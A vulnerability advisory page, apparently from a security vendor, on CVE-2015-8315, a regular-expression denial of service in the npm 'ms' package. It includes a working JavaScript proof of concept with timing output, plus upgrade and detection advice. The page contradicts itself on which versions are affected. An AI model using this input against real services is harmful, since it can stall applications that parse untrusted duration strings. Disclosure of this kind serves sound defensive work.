CVE-2015-8315 — ms
HIGHCVE-2015-8315 is a high-severity (CVSS 7.5) CWE-1333 vulnerability in ms. 1 public exploit reference exists, so weaponization risk is real. A fix is available for ms — see the affected versions and patch details below.
Regular Expression Denial of Service in ms
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2015-8315.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2015-8315 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
msnpmDescription
Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
Proof of Concept
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Results
Showing increase in execution time based on the input string.
$ time node ms.js 10000
real 0m0.758s
user 0m0.724s
sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s
user 0m2.494s
sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s
user 0m5.483s
sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s
user 0m38.894s
sys 0m0.529s
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | ms | all versions | 0.7.1npm install ms@0.7.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ms to 0.7.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2015-8315 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2015-8315 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2015-8315. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2015-8315 in your dependencies?
O3 Security finds CVE-2015-8315 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.